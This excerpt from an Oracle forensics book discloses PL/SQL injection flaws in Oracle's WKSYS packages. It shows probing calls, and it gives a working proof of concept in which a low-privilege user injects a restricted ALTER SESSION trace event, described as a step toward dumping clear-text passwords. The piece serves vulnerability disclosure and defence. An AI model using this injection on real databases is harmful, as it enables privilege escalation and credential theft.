 |
|
Determining Vulnerable
Procedures
Oracle Forensics tips by Paul Wright
|
I found PL/SQL
injections in the Oracle RDBMS that were present with the October
2006 CPU on 10.1.0.4.0 and other versions:
These two are DEFINER, "EXECUTE granted to PUBLIC" and owned by
WKSYS which has the DBA ROLE by default. Below are examples of how
to create the procedure call and the returned error message if the
procedure is vulnerable.
SQL> exec wksys.wk_qry.setsessionlang('''');
BEGIN wksys.wk_qry.setsessionlang(''''); END;
*
ERROR at line 1:
ORA-01756: quoted string not properly terminated
ORA-06512: at "WKSYS.WK_QRY", line 1107
ORA-06512: at line 1
SQL> exec
wksys.wk_queryapi.setsessionlang('''');
BEGIN wksys.wk_queryapi.setsessionlang(''''); END;
*
ERROR at line 1:
ORA-01756: quoted string not properly terminated
ORA-06512: at "WKSYS.WK_QUERYAPI", line 40
ORA-06512: at line 1
SQL> exec
wksys.wk_launchq.add_launch_principal(1,'''');
BEGIN wksys.wk_launchq.add_launch_principal(1,''''); END;
*
ERROR at line 1:
ORA-01756: quoted string not properly terminated
ORA-06512: at "WKSYS.WK_LAUNCHQ", line 275
ORA-06512: at line 1
The vulnerability of
the above packages is shown by the "ORA-01756: quoted string not
properly terminated" error
Proving that the
vulnerability can be exploited is more difficult as an attacker is
not able to see the source code of the package by reading from
DBA_SOURCE.
SQL> desc dba_source;
Name
Null? Type
----------------------------------------- --------
---------------------------
OWNER
VARCHAR2(30)
NAME
VARCHAR2(30)
TYPE
VARCHAR2(12)
LINE
NUMBER
TEXT
VARCHAR2(4000)
SQL> select text from dba_source where owner='WKSYS' and name='WK_QUERYAPI';
PACKAGE BODY wk_queryapi wrapped
a000000
1
abcd
abcd
abcd
abcd
abcd
TEXT
--------------------------------------------------------------------------------
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
b
TEXT
--------------------------------------------------------------------------------
42f3 154a
rCfxVeMak5ss7u/4L/uISxq1Twcwg8129iAFYJu8HKqV4bGnGtkWYeszph52qacRWDsUlxQ9tE/
nMSu27nbZjYn2nl3GmkciF/psYzaxavvqRPTbVTEx7oo0B0dWHOSO0NOf97IgMRNP5R5C8ZrUA4mVAsFCl
Y+eOZ3ysOmIrluhKKrDfHVZBmTZBZMl/jRSKu0WyV8tT4bPuJTBsK8KhsiQkIJPEIaqkl0kVXlP+IucmgeUQgn/
TiaTUmZvMHwpqKPfdcHk2mJUQXEGAfdDfK3ZAzVlbsG9/WwBQY5OUpNHljRwG33J/LerXffGyZTIT5w9VgywAf
GGivUivlrAIpxJHc6ZHm1liDyLNniX
………
The source code to the
PLSQL Package has been wrapped to hide the internal workings. By
quessing what the likely SQL is within the wrapped package it is
possible to take educated guesses at potential exploitative code.
Given that the
function of the query is to set the NLS_LANG variable for the
session we can guess what the SQL will be in the wrapped package.
Something like: "ALTER SESSION SET". So we now inject additional
ALTER SESSION SET command into the end of the input to this
procedure:
--To start the process of
exploiting the first setsessionlang:
SQL>
exec wksys.wk_qry.setsessionlang('english');
PL/SQL procedure successfully completed.
SQL> exec wksys.wk_qry.setsessionlang('english''');
BEGIN wksys.wk_qry.setsessionlang('english'''); END;
*
ERROR at line 1:
ORA-01756: quoted string not properly terminated
ORA-06512: at "WKSYS.WK_QRY", line 1107
ORA-06512: at line 1
This can be extended
to include the "EVENTS" commands which is withheld from normal users
due to the security sensitivity of the command.
This is the PoC below.
SQL> show user
USER is "SCOTT"
SQL> alter session set events 'immediate trace name library_cache
level 10';
ERROR:
ORA-01031: insufficient privileges
SQL> exec
wksys.wk_qry.setsessionlang('AMERICAN'' NLS_TERRITORY=
''FRANCE'' NLS_CURRENCY= ''$'' NLS_ISO_CURRENCY=''AMERICA''
NLS_NUMERIC_CHARACTERS= ''.,'' NLS_CALENDAR= ''GREGORIAN''
NLS_DATE_FORMAT= ''DD-MON-RR'' NLS_DATE_LANGUAGE= ''AMERICAN'' NLS
_SORT= ''BINARY'' current_schema=SYS sql_trace=false
TRACEFILE_IDENTIFIER =''traceid'' events ''immediate trace name
library_cache level 10''--');
PL/SQL procedure successfully completed.
The key line here is
events ''immediate trace name
library_cache level 10''
This is a stage in the
process of dumping clear text passwords.
So to summarize we are
running an ALTER SESSION SET EVENT statement that should only be
possible if the user has the ALTER SESSION
_SYSTEM_
privilege which SCOTT does not have. SCOTT can do this because we
are injecting into a DBA owned procedure which is DEFINER rights and
PUBLIC.
Being able to set this
type of event is part of a number of exploits which result in the
dumping of clear text passwords, which is why it is restricted.
Therefore this vulnerability represents a security issue. Oracle
have already been informed and it is due for CPU soon.
http://www.databasesecurity.com/oracle/oracle-security-pf.pdf
http://www.red-database-security.com/advisory/oracle_tde_wallet_password.html
http://www.pentest.co.uk/documents/utl_file.htm
http://www.petefinnigan.com/ramblings/how_to_set_trace.htm
http://www.oracle.com/technology/deploy/security/pdf/securitynote210317.1_altersession.html
http://www.orafaq.com/faqdbain.htm
http://www.petefinnigan.com/forum/yabb/YaBB.cgi?board=ora_sec;action=display;num
=1173097681
This is an excerpt from the book "Oracle
Forensics: Oracle Security Best Practices", by Paul M. Wright,
the father of Oracle Forensics.
